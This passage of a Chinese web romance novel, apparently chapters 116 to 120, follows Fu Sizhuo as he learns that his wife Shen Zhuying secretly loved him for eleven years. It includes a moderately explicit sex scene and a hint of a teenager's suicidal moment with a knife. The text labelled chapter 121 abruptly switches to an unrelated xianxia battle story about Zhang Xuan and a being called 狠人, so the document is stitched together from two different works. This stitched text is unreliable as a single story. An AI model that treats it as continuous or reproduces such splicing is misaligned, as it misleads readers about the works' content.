而周煜当时侧头望向她,在心里想—— 那就这样吧。 他也会等着。 等他哪一天不再喜欢她,或者……遇到一个比她还让他心动的人。 那张合照后来被他洗出来,放在了柜子的最深处,已经好几年了,从未被剖白在阳光下。 周煜想,以后也不会了。 在医院的日子忙碌又充实,周煜很庆幸,他很少再想起她了。 只是很偶尔的…… 不是在某个固定的时间或者地点,而只是每个月,他会去她的店里,买上一束花。 顺便再看看,她现在怎么样了? 好像还是笑得很开心,也好像……仍然忘不了那个一直喜欢着的人。 周煜有时候会感到挫败。 他难道就这样败给了,一个连名字都不知道的家伙吗? 直到有一天,一次很平常的兄弟聚会,傅斯灼搂着她进门,对他们说:“介绍一下——” “我太太,沈珠楹。” 周煜当时震在原地,好半晌都没动弹。 他下意识的看向沈珠楹。 而沈珠楹没看他,她看向傅斯灼,眼底溢满了欢喜与笑意。 原来她看向喜欢的人时,是这种眼神吗? 好像更令人挫败了。 他对她说:“没想到再见面,是在这种情况下。” “学长很意外吗?” 他笑了,终于恍然:“好像并不。” 周煜想起了那年他与她的初见,她加了全场人的微信,最后才略显紧张地望向她,问。 “学长,加个微信吗?” 所以,是因为他,而从不是他,才加了全场所有人的微信吧。 周煜又开始想,那么他这些年,有在朋友圈发过跟傅斯灼有关的东西吗? 好像是有的。 那就好。 也恭喜你了,珠珠。 比我勇敢的你,当然要率先享受幸福。 —— 而此刻,勇敢的沈珠楹正跨坐在傅斯灼腿上,一脸跃跃欲试地…… 盯着傅斯灼那张帅脸。 她手里拿了一支口红,嘴上嘟囔道。 “别动哦……不准动。” “愿赌服输。” 两个人刚刚玩扑克牌,赢的人在输的人脸上画花脸。 聪明的沈珠楹毫无疑问地……一开始就输了好几盘,被傅斯灼刚刚拿着口红,不知道在脸上画了什么东西。 第一回输的时候,沈珠楹两颊被男人掐成鸟喙状,而傅斯灼笑着垂眸看着她,在她额头上画了好久。 第二回和第三回,他又在她的脸颊两边画了东西。 不知道画了什么,但沈珠楹感觉有个“王”字。 她一脸警惕地问:“傅斯灼,你不会在我脸上画了个王八吧!” “你给我等着!我不会放过你的!” “喔呦——”他笑得明晃晃,说,“我好怕啊,傅太太。” 他笑得肆意,随即捧着她的脸亲了两口,说是画了一只丑王八,你能拿我怎么样。 “你给我等着。”沈珠楹瞪他一眼,“我会东山再起的。” 虽然目前还没起过,但是我会东山再起的。 果不其然,下一盘,沈珠楹就赢了。 她弯眸,捏着男人的下巴,跨坐在他腿上,笑得一脸嘚瑟。 “脸凑过来,让我也画只王八。”她强调道,“绿色的。” 傅斯灼盯着她手上拿着的那支口“红”,扯了下唇,一脸为难地道:“还请傅太太,手下留情。” “你也有今天!刚刚怎么不知道手下留情!”她尾巴都要翘上天了,“快凑过来!” 傅斯灼凑到她面前,盯着她明亮的眼睛看,又没忍住,搂住她的腰,轻轻啄了啄她的唇瓣。 “猜猜我给你画了什么?” “你画了……”傅斯灼极刻意地顿住,然后说,“一只王八。” “猜对了!” 沈珠楹打开相机,一本正经地道:“你先别动,让我把你这个丑样子拍下来。” “一起?” “才不要,我不拍丑照片。” 她正要给他拍,傅斯灼二话不说就把她手上的手机夺了过来,他揽住她的肩,两个人脸贴着脸,而他举起手机。 “咔擦——”一声。 照片定格。 第117章 你没看到什么吧? “傅斯灼!”沈珠楹气恼地拿起旁边的抱枕就扔过去,“删掉!我不要顶着王……” 傅斯灼笑着接过枕头,然后把照片递给她看。 她额头上被傅斯灼画了一个蝴蝶结,然后脸颊两侧分别画了三根猫毛,而傅斯灼的脸颊两侧也是三根猫毛。 两个人穿着情侣款毛衣,脸贴着脸,拍照的姿势亲密又自然,阳光也刚刚好。 沈珠楹眨了下眼睛,把接下来要说的话咽了下去。 “这什么?”他戳了戳她的脸颊,低声哄说,“是生气小猫。” 沈珠楹不肯承认:“我才没生气呢。” “是,你没生气,小猫生气。” 傅斯灼打开手机,低头划拉了一下自己的相册,发现不知不觉中,两个人的合照越来越多,也有很大一部分是她的单人照片。 沈珠楹不放心地凑过去看了一眼:“你没存我什么丑照吧。” “你长这么漂亮,能有什么丑照。”他垂颈看着照片,自然而然地说。 傅斯灼觉得,就算是她每天早上蒙着被子不肯露面,吐槽自己早上眼睛水肿的时候,都漂亮得要死。 “喔呦——,说话好甜啊,傅司长。” 即便如此,沈珠楹还是不放心,认真检查了他的相册,确认没什么丑照才罢休。 很奇怪,他拍的每一张关于她的照片,真的都好漂亮啊。 比她自己拍的要漂亮多了。 “你以后就是我的专属摄影师了,傅斯灼。”她一脸认真地拍了拍他的脑袋,傲慢道,“还不快快领旨谢恩。” 傅斯灼笑得不行,配合道:“谢主隆恩。” 安静了一会儿,男人开口道:“上回看的那本相册,被你放在书房了?” 沈珠楹当时低着头,正认真在看傅斯灼手机里,关于她和他们的照片,然后一张一张地,全部都转到了她手机上,漫不经心地“嗯”了声。 “我去拿。”傅斯灼掐了掐她的脸,低声说,“我想看看二十六岁之前的你。” 在没有与他相遇之前,也仍然活得潇洒明媚的,很漂亮的沈珠楹。 傅斯灼把相册拿了过来,然后盘腿坐在沙发上,掐着她的腰让她坐他腿上,将人整个圈进怀里,脑袋搭她肩窝,低头继续翻看照片。 傅斯灼一边翻看着,一边问她拍下这张照片时发生了什么。 其中有一张照片,是沈珠楹站在华大门口拍的。 她当时眼睛都哭肿了,扎着高马尾,笑比哭还难看,却仍然比了个耶。 “当时为什么哭,沈珠楹。”傅斯灼垂眸,轻轻碰了碰照片上,她通红的眼睛。 “这个是我十八岁那年,差两分就能考上华大,然后当时,也哭了好几天吧,后来我姐看不过去了,就把我揪到华大门口拍了这张照片,问我到底还想不想读华大。” “想就去复读,不想就去交大。” “我当时拍完这张照片,然后对她说,想。” 她还想读华大。 “这时候有点丑丑的,对吧?” 沈珠楹吸了吸鼻子,把照片挡住了。 “很漂亮,宝宝。”他吻了吻她的额头,又吻她的眼睛。 “怎么会想到要读华大?” 沈珠楹撇开眼,没看他,只说:“清华北大,谁不想读啊,当时就差两分,肯定不甘心啊。” “只是因为这个吗?”傅斯灼又问。 沈珠楹抿着唇,没说话了。 傅斯灼盯着她看了会儿,想问,是不是跟你说的那个,A同学有关。 但他没问。 沈珠楹说,她现在最爱傅斯灼。 所以无关紧要的人,没必要在她面前提起了。 但是……她曾经为了另一个男人,复读一年去考华大? 光是想想,他就要气疯了。 傅斯灼继续翻开下一页,点了点其中一张照片,若无其事地问:“这时候呢?你在做什么,怎么会这么可爱?” 听到他夸她可爱,沈珠楹眼睛亮了亮,兴致勃勃地道:“这个时候啊,就是我大学那会儿……” 发言完毕,沈珠楹嘴巴都讲干了,最后得出结论:“大学时期的我,实在是太漂亮啦。” “太漂亮啦。”他笑着,低声重复。 所以那个A同学,凭什么能让这么漂亮的她,这么喜欢呢? “你呢?傅斯灼。你在英国读大学的时候,就没有什么有趣的事情发生吗?” 迎着姑娘期待的眼神,傅斯灼哑然片刻,想编出那么一两件,称得上美好的事,好让她也听着感到高兴。 却又猛然发现,他好像已经失去这种,编造美好的能力了。 沈珠楹笑容收敛了,问:“没有吗?怎么会呢?” 她略显迫切地说道:“肯定会有的啊,比如说你早上起床的时候,看见窗外有阳光照进来,不也很美好吗?” “是,很美好。” 傅斯灼应了,没跟她说,有很长很长的一段时间,他总是喜欢拉上厚重的,黑色的窗帘,然后坐在书桌上读那些晦涩难懂的专业课,并不想见到太阳。 意识到沈珠楹心情变得低落,他转移了话题:“是有一件,还算得上有趣的事。” “大概在大二那年,周煜跟我说,他在华大碰上了一个学妹,性格很好,也很漂亮。” 他抵着她的额头,认真道:“——会跟我很合得来。” 沈珠楹果然笑了,说:“是我啊。” 我就是那个性格很好,也很漂亮的学妹啊。 “对,是你啊,宝宝。” 但是很抱歉,对于那时候的他而言,好像没什么能比快速完成学业,然后替哥哥实现梦想更重要的事了。 所以他转头就将这件事抛在了脑后,直到他现在想起来,然后迟来地品到了一丝幸福。 哦,好荣幸啊。 原来他忙着赶路的时候,曾经有风吹过他的发梢。 相册一页一页的翻过去,两个人聊着从前,偶尔缠绵细密地接个吻,消磨了一整个下午的时间。 直到两人翻到了相册的最后一页—— 沈珠楹突然意识到什么,嘴角笑意僵住,她下意识地就要趴在相册上,挡住傅斯灼的视线。 没成想某人的动作比她更快,他迅速把那张照片抽了出来,眯着眼睛,仔细观察。 “你快还给我,傅斯灼!” 沈珠楹立马就要去抢,傅斯灼把手抬高,没让她得逞。 “傅斯灼!” 她站起身去抢,争夺途中,那张照片翻了个面,晃晃悠悠地掉落在了地上。 “To:A同学” “毕业快乐,遥祝……” 沈珠楹跳下沙发,慌忙把照片捡起来,然后看向傅斯灼,结结巴巴地问:“你没看到什么吧?” 第118章 背影 傅斯灼看向她,半晌,他开口,声音有点哑:“没有。” “没看到。” 沈珠楹松了口气。 “害,也没什么好看的,就是一张普普通通的毕业照。”沈珠楹把照片重新塞回去,小声道,“时间差不多了,傅斯灼,我们晚上吃……” 她话还没说完,傅斯灼就拉住她的手腕,猛地往下一扯—— 沈珠楹转眼就被他压在了沙发上,他长腿抵入她腿间,与此同时,男人滚烫炙热的吻落了下来。 他泄愤似地咬她的唇瓣,眼底压抑汹涌着一股她看不懂的情绪,然后说:“今天晚上——” “——我们先做。” …… 他今晚很磨人。 “宝宝……我是谁?现在是谁在跟你做?” 沈珠楹被他弄得面色红得发烧,心绪也飘在空中,落不到实处,没能立刻回答他。 “唔……你……等一下……啊……” 傅斯灼虎口卡住她的下巴,英俊的眉眼湿成一片,低低喘着,裹着情色,让她跟他对视。 “看着我,珠珠,然后回答我——” “——是谁在跟你做?” “……是……你……” “——我是谁?” “你是……傅斯灼……唔……” “——你爱谁?” “……我爱…嗯…傅斯灼。” “乖宝宝。”他低下头,碰了碰她的唇瓣,神色柔柔的,“好乖。” “我也爱你,沈珠楹。” “我最爱你。” 结束的时候,不知道几点了,总之沈珠楹累得抬不起一根手指。 她合理怀疑傅斯灼又吃药了。 而傅斯灼此刻仰靠在床头,上半身裸着,宽肩窄腰,一身清薄的肌肉,布满了暧昧的痕迹。 他眼神有点空,又有点费解,似乎是在思考着什么。 于是指尖便不自觉地缠着姑娘乌黑的发丝,又慢悠悠地松开,如此反复。 “沈珠楹。”他喊她。 “嗯。” “宝宝。” “嗯嗯。” “老婆。” “……滚。” 一直喊她干嘛啊!她都快累死困死了!!! 傅斯灼低声笑了,揉了揉她的脑袋,半晌没说话,最后轻声喊她。 “风信子小姐。” 而风信子小姐此时呼吸均匀,已经睡着了。 傅斯灼盯着姑娘精致柔和的眉眼,最后俯身摘掉她的助听器,吻上了她的额头。 “抱歉啊,宝宝,我刚刚跟你撒谎了。” 他其实看到了那张照片,也看到了她后面写的毕业寄语。 那张照片——是她跟周煜的毕业合照。 所以……A同学……是周煜? 但是……怎么可能呢? 傅斯灼拧眉,头一次感到困惑。 假如A同学是周煜的话,傅斯灼很清楚,晚了好几年才出现的他,是不会有任何机会的。 但是假如不是周煜的话…… 傅斯灼偏头看向熟睡中的沈珠楹。 昏黄的灯光映在她脸上,安静,沉默,也温柔。 ——“我妈催得紧,我想了很久,觉得你是最合适的人选。” 真的只是这样吗? 傅斯灼仰头,心底的某个想法几乎要跃出水面,却偏偏只能压抑着。 我的珠珠宝宝。 —— 他跟周煜约在了之前常去的一家网球场。 周煜到的时候,比约好的时间晚了一个多小时。 “病人临时出了一点状况,一不小心就来晚了。” 傅斯灼将手里的网球扔给他,笑了一下,问:“还是你发球?” “行,不过好久没打,手都生了,你让一下吧,傅司长。”他调侃道。 “再说吧。”傅斯灼扯了下唇,“我也手生,咱俩谁让谁还不一定呢?” 两个人嘴上说着手生,一打起来,都不约而同地把对方往死里打,你来我往的,球风凌厉,丝毫没有让球的打算。 胜负欲都该死的强大。 直到太阳西悬,他们也终于力竭,背靠着背坐在网球场,球拍半撑在地上,微仰着头,大口大口地喘气。 夕阳刻出两人的剪影,一长一短,偏心得十分明显。 “突然来找我,是想问些什么?”周煜低头笑了,说,“赶紧的,我晚上还有台手术。” 傅斯灼缓缓开口道:“我知道她有一个喜欢了很久的人——” “但是这个人……应该不会是你。” 两个人都心知肚明这个“她”是谁。 周煜“欸——”了声,说:“怎么就不可能是我,不带你这么扎心的。” “但是,我在一本相册里面,发现了一张你们两个的合照。”傅斯灼自顾自地继续道,“照片的后面,有她写给那个人的毕业寄语。” “——我想知道,为什么在你跟他的合照后面,会出现这个?” 周煜沉默了很久,最后,他像是想明白了,眼眶骤然红了。 他操了一声,难得骂了句脏话。 “你TM就不知道自己回去问?” “她不想让我知道。” “那你TM就别知道!” “我现在想知道,也只有你能告诉我答案。” 两个人无声对峙,寸步不让。 许久,周煜深吸一口气,努力让情绪稳定下来。 “虽然很不甘心……”周煜撇开眼,笑得有点苦涩,“但我还是不得不承认,我输了。” 又或者说,他从一开始,就不可能赢。 傅斯垂眸,猜到了什么,眼眶也蓦地红了。 “为什么是我赢了?”他低低呓语。 为什么她当初相了这么多次亲,遇见了那么多的人,最后偏偏就挑中了他,然后说,她觉得他很合适。 他其实一直没敢往深处想。 因为仅仅只是觉得他很合适,这个理由,对于傅斯灼来说,就已经足够幸运了。 “你觉得呢?”周煜笑了。 因为有人给的偏爱,太明显了啊。 足够炙热,足够无畏,足够劝退所有人。 周煜最终叹了口气。 他打开手机,开始翻相册,翻着翻着又觉得恼火,操了一声,红着眼睛,继续往下翻。 “傅斯灼,你说我TM,怎么能输得这么彻底?” 终于翻到那张照片,他用力指着,然后说:“对啊,明眼人都看得出,这是一张我跟她的合照,还是唯一的一张!” “我一直拿这照片当宝贝。” “但是除了她,又有谁能看得见呢?” 照片上,沈珠楹跟周煜站在汹涌的人群中,隔着一段不远也不近的距离,拍了一张再平常不过的毕业照。 周煜盯着这张照片看了半晌,最后自嘲一笑,说:“我看了这张照片千百次,也从来没发现过。” “直到今天——” 他说直到今天—— 傅斯灼,你没见过自己的背影吧。 你也认不出自己的背影吧。 周煜最终红着眼眶,用力指着照片上,只占据很小的一个角落,那个混在汹涌人群中,穿着一身黑衣黑裤,总是那样沉默孤独的背影。 “对啊,这么多年,就只有沈珠楹看见了。” 第119章 春日来信 “阿灼,可能感情就是这么不公平。” 明明他跟她考上了同一个大学,明明在傅斯灼回国之前,他跟她近距离接触过这么多次,但是没用,一点用都没有。 周煜其实不想去埋怨些什么的,但是现在…… 但是现在—— 到底要他怎样去释怀呢? “为什么呢?”周煜说,“为什么我跟她之间的唯一一张合照,主角也不是我。” 为什么会存在这么一个人,他只是站在那里,什么都不用做,就可以夺走她所有的偏爱。 傅斯灼其实不知道周煜是什么时候走的。 他颓丧地坐在地上,一直挺拔的肩膀垮陷下去,刚打完球,汗水黏腻在他身上,风一吹,全身都冰凉。 太狼狈了。 傅斯灼觉得自己从没那么狼狈过,像一条颓弃的败犬。 这么会呢? 怎么会是他呢? 傅斯灼的眼睛又干又涩,嗓子也发哑,疼得厉害。 他最后重重闭上眼,脑海里关于她的,所有的记忆,像倒带慢放的胶片相机,一帧一帧地回放。 2025年1月12日,她用手语一下一下地比划,说沈珠楹最爱傅斯灼。 2025年1月4日,她捧住他的脸,说你是我所有的惊喜与好运。 2024年12月26日,她蹲在昙花边许愿,说我希望,沈珠楹也能永远陪在傅斯灼身边。 2024年12月4日,她毫不犹豫地吻上他的唇,说没有别人,只有你。 不对,不对…… 远不止这些。 时间的卷轴要再往前翻。 2024年11月18日,他们被一起埋在大雪里,她说傅斯灼是个大笨蛋。 2024年10月27日,她拿起那朵干枯的石榴花,哭着说傅斯灼,你不懂。 2024年10月25日,她支着下巴,笑意盈盈地说,因为刚刚吹的,是夏天的风呀。 2024年10月18日,她喝醉了酒,抱着他说最喜欢的男人是A同学。 2024年10月3日,她说,傅斯灼,如果你不嫌弃的话,我们结婚吧。 再然后…… 再然后,不如回到他们人生线再次重合的原点。 2024年9月7日,她低着头使劲揉小臂,悄悄红了眼眶,说没有。 我们不认识的。 可是这不是原点。 这怎么会是他们的原点? 傅斯灼单手捂住脸,眼眶发红发烫,感觉心脏被一刀一刀地剖开。 钻心的疼,但是他仍嫌不够。 傅斯灼是真心觉得,假如他们之间的故事,只是在这里展开就好了。 如果在这里展开,那么没关系,他可以一步一步地,朝她走过去。 但是不是……完全不是…… 太糟糕了。 时间线还要继续往前。 他也还要继续往里走,试图走过那些年她一个人,孤独的,茫然的,往前走的荒芜路。 2023年3月16日,她送了他一把伞和一束风信子,笑着对他说,这位先生,祝你生日快乐,不止今天。 不……不对…… 怪那天的雨太大了吗? 他怎么会该死地,觉得她当时在笑? 胶片定格在女孩脸上。 二十七岁的傅斯灼眨了下眼,眼泪无知无觉地溢出。 她明明在哭。 傅斯灼,你那时候怎么不知道? 你那时候怎么不知道呢,傅斯灼。 时间再往前走,是什么呢? 傅斯灼突然感到茫然。 是她为了他去复读,还是初见的那枝石榴花? 是什么呢? 傅斯灼。 男人又颓又靡地低头,眼泪不受控制地,一颗一颗往下砸。 好遗憾啊傅斯灼,你怎么在那个时候,从来没有注意过她。 所以现在又怎么能妄想,能拼凑出她的来时路? 傅斯灼两只手捂住脸,慢慢把眼泪抹去了。 要怎么办才好,沈珠楹。 要怎么心疼你才好。 傅斯灼就这么坐在原地,任由冷风吹着,不知道坐了多久,直到手机铃声响起—— 是周清兰打过来的。 傅斯灼摁了接听。 “奶奶。”声音像是老式留声机的卡带声,哑得吓人。 “小灼?你的声音怎么了?” “我没事。”傅斯灼沉默片刻,问,“您给我打电话,是有什么事吗?” “今天奶奶去了你小时候住的那个房间,做了一次大扫除。” 周清兰的声音多了几分感叹与恍然。 “你猜,奶奶在你那个房间里,找到了什么?” 傅斯灼其实现在没心思猜谜语。 但他沉默片刻,还是沙哑着配合道:“是什么?我小时候藏的压岁钱,也被您找到了吗。” “小灼。” 周清兰笑了,她的声音苍老而智慧,仿佛越过整整十一年的时光,透过电波,传到了傅斯灼耳中。 “奶奶找到了一封,来自远方故人,寄给你的春日来信。” 周清兰现在其实是想哭的。 因为她总是会想到十八岁的小灼。 麻木的,冰冷的,让她感受不到一丝活人的气息。 最吓人的那次,周清兰在睡梦中莫名惊醒,然后闯进了他房间,在浴室里找到他。 他那时穿着睡衣,一脸茫然地看着镜子,手里还拿着一把水果刀。 “小灼,你在做什么?”她小心翼翼,“别吓奶奶。” “奶奶。”少年放下刀,扯了下唇,乖巧露出酒窝,说,“您别担心,我只是切个水果。” 而现在,周清兰看着眼前这封缝缝补补的情书,对傅斯灼说。 “奶奶曾经告诉过你的,小灼,还记得吗?” “一个人如果足够善良,足够有勇气,足够有耐心,好运就会降临在他身边。” 周清兰声音轻飘飘的,像来自远方。 “所以你看啊,小灼,好运早就在你茫然找不到方向的那些年,悄然降临在你身边了。” “奶奶……”傅斯灼的声音有几分哽咽,艰难说道,“是她寄给我的,对吗?” “是。” “我知道了。”傅斯灼安静片刻,“但是我其实……” 他没再说下去了。 但是他其实,会想把这些好运,都返还给那年也才十六岁的沈珠楹。 她要在那个年纪去奔跑,去跳跃,如果可以的话,在那个最鲜活的年纪,去放肆地爱与恨,而永远不必考虑到他。 因为十一年太长,而他又来得太晚。 挂了电话,傅斯灼压了压泛红的眼角,终于站起身,拨通了沈珠楹的电话。 “傅斯灼,你今天又加班吗?怎么没有跟我说?”她的声音鲜活的,雀跃的,含着几分抱怨。 “是我的错,珠珠。” 第120章 A同学,我喜欢你,很久了 “没关系啊,我原谅你了。”她的声音一如既往的傲娇。 “宝贝,不要这么轻易原谅我。” “不要,我就要原谅你。”沈珠楹又问,“那你加班又要加到几点啊,太晚了就直接睡单位吧。” “我要回家见你的。”傅斯灼深吸一口气,低声道,“我马上就想见到你。” “你现在在哪里?” “我现在在花房啊。”彼时的沈珠楹正蹲下身,一脸欣喜地点了点白色小花,然后说,“傅斯灼,你上回从非洲带回来的种子已经开花了。” “珠珠喜欢吗?”傅斯灼打开车门,坐入驾驶座,轻声问她。 “喜欢。”沈珠楹兴致勃勃地跟他描绘道,“它的花瓣是白色的,但是花蕊又带着几缕很鲜明的黄色。” “听上去很漂亮。” “当然啦。” 美丽的,脆弱的,仍然需要加倍小心呵护。 “沈珠楹。” “嗯?” “我们结婚多久了?” “让我算一算啊。”沈珠楹在那边小声嘟囔着,“从2024年10月3号到现在,应该有……” “……一百多天了吧,怎么了?” “一百零六天。”傅斯灼答。 “好咯,算你数学好。”沈珠楹的声音带了几分不服气。 傅斯灼低声笑了,沉默片刻,又问她:“珠珠,跟我结婚,你开心吗?” “开心啊。” “那就好。” “傅斯灼。”沈珠楹拧眉,“怎么感觉,你现在情绪怪怪的,你不开心啊?” “没有。” 傅斯灼将车停在门口,解开安全带,下车。 “宝宝,我现在只是……” 傅斯灼快步往花房走。 沈珠楹感觉电话里传来的脚步声越来越急促,喘息声也越来越深重。 “傅斯灼,你现在——” 在哪里? 沈珠楹把手里的水壶放下,察觉到一丝不寻常的气息,再然后她抬起头—— 只见透明的玻璃房外,傅斯灼穿了一套黑色运动服,如同十六岁那年他在雨中奔跑一样—— 年轻的,跃动的,蓬勃的,他抛下成年人的稳重与体面,迎着窗外盛大的夕阳,飞奔着跑向她。 沈珠楹不知道为什么,望着这一幕,眼眶骤然红了。 “傅斯灼——” “沈珠楹——” 他低喘着气,说沈珠楹,我需要向你求证一件事情。 他丝毫不停顿地,猛地推开了那扇透明的玻璃门,冲进了花房内,再然后,他脚步停下,抬眼看向她时,眼眶早已通红。 “沈珠楹,我需要向你求证一件事。”他重复。 “也希望你——不要因此感到突兀和不自在,因为我爱你,我现在很爱你,宝宝。” 他把电话挂了,一步一步地朝她走来,又重新把电话拨通。 沈珠楹呆呆地看着他,手机屏幕突然亮起也一无所觉。 “傅斯灼……” 而傅斯灼早已站在她面前,英俊的眉眼布满汗意,看着有几分狼狈。 他轻轻攥住她的手腕,翻开,手机页面上的字一一浮现—— “A同学 今日来电。” 傅斯灼眼睫轻颤着,沉默了好一会儿,终于摁下了接通。 “沈珠楹,有什么要对我说的吗?”他两手搭在她的肩上,俯身弯腰,与她平视,“我想,我们需要重新认识一下。” “我……” 沈珠楹盯着他那双眼睛看,看他眼底的真挚和诚恳,望向她时那样坦诚,几乎一览无余。 她逃避似地移开眼,安静了大概两三秒,她眼泪流下来,越来越多,越来越多,最后肩膀轻耸着,终于哭出了声。 “傅斯灼……呜呜呜呜,你怎么……出现得这么晚呀……真的太晚了……” “我都快……讨厌死你了,傅斯灼,我最讨厌你了……” “我最讨厌你……傅斯灼。” 在傅斯灼对她说出这句话之前,沈珠楹其实一直都觉得没关系。 没关系他忘记了他们之间的初遇,直到她想方设法地去提醒。 没关系他转学去了英国,徒留她一个人在国内茫然又无望地等待。 没关系那封没送出去的情书,她安慰自己本来就得不到回复。 没关系,因为是她心甘情愿地,喜欢了他这么多年,所以她没有资格感到委屈,没有资格找谁埋怨。 直到他像现在这样,真挚而诚恳地望向她,说沈珠楹,我想我们应该重新认识一下。 她知道,他是在告诉她——没关系,沈珠楹。 你有资格埋怨,你有资格生气,你也有资格这样肆无忌惮地,告诉他—— 没错啊,傅斯灼,等了你这么多年,我就是,很辛苦,我就是,很讨厌你。 傅斯灼紧紧把她搂入怀里,任她泄愤似地,一下一下地打他,然后一遍一遍,在她说讨厌的时候,告诉她,我爱你。 不知道哭了多久,沈珠楹的哭声终于停止,她紧紧抱住他,理所当然地开始埋怨。 ——“傅斯灼,我讨厌你当初找我要那一枝石榴花。” ——“对不起,我当时只是觉得,你说的那些话很可爱。” ——“傅斯灼,我讨厌你在台上唱《夏天的风》。” ——“对不起,但是你要是想听的话,我以后会给你唱千百遍。” ——“傅斯灼,我讨厌你长得这么帅,当年运动会的时候,有好多人给你递橘子汽水。” ——“对不起,虽然已经不记得什么运动会了,但我敢肯定,宝宝,一直以来,除了你,我没接过别人的橘子汽水。” ——“傅斯灼,我讨厌你之前总是朝别人笑,也讨厌你现在不笑。” ——“对不起,但是宝宝,我想我总是会对你笑。” “傅斯灼……” 安静了许久,沈珠楹吸了吸鼻子,把鼻涕眼泪都抹在他身上,一句话也说不下去了。 “没有了吗?就这些吗?”傅斯灼问她。 沈珠楹身体轻颤着,还是没说话。 “那我来说。” “你可以讨厌我突然就转学,不管是出于什么原因,但是让你等了这么久,是我混蛋。” “你可以讨厌我在后来遇见你的每一次,总是那么冷淡,不管我们当时的关系如何,只要让你感到难过,那就是我不好。” “你可以讨厌我总是加班,总是去出差,不能随时陪着你,照顾你,不管什么工作性质,算我疏忽。” “你可以讨厌我,责怪我,感到委屈就放肆冲我发火,不管今天天气好,还是天气不好。” 他双手捧着她的脸,抹去她的眼泪,轻声道:“别那么懂事,沈珠楹。” “呜呜呜呜呜,傅斯灼,你怎么这么会说,你到底背着我学了哪个恋爱博主啊呜呜呜呜” 傅斯灼再次为她神奇的脑回路感到哭笑不得,但是下一秒,他就听到沈珠楹对他说。 “但是我其实,一点都不讨厌你,A同学。” “A同学……”她眼泪仍然不断落下,却直勾勾地盯着他,坚持道,“我喜欢你,很久很久了。” 久到那年夏天的风从闪闪发光的舞台吹到了国际外交场,少年青葱稚嫩的棱角也逐渐成熟凌厉,肩头扛满对抗世界的风雨,我也仍然,只喜欢你。 “对不起,是我来晚了。” 傅斯灼将她整个人揉进怀里,像是漂泊多年的旅人终于找到了归途,他举重若轻地说。 “我爱你,风信子小姐。” 第121章 感性战胜理性 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中分裂出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情功法,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们死了,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以死了……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他镇压……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法镇压吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 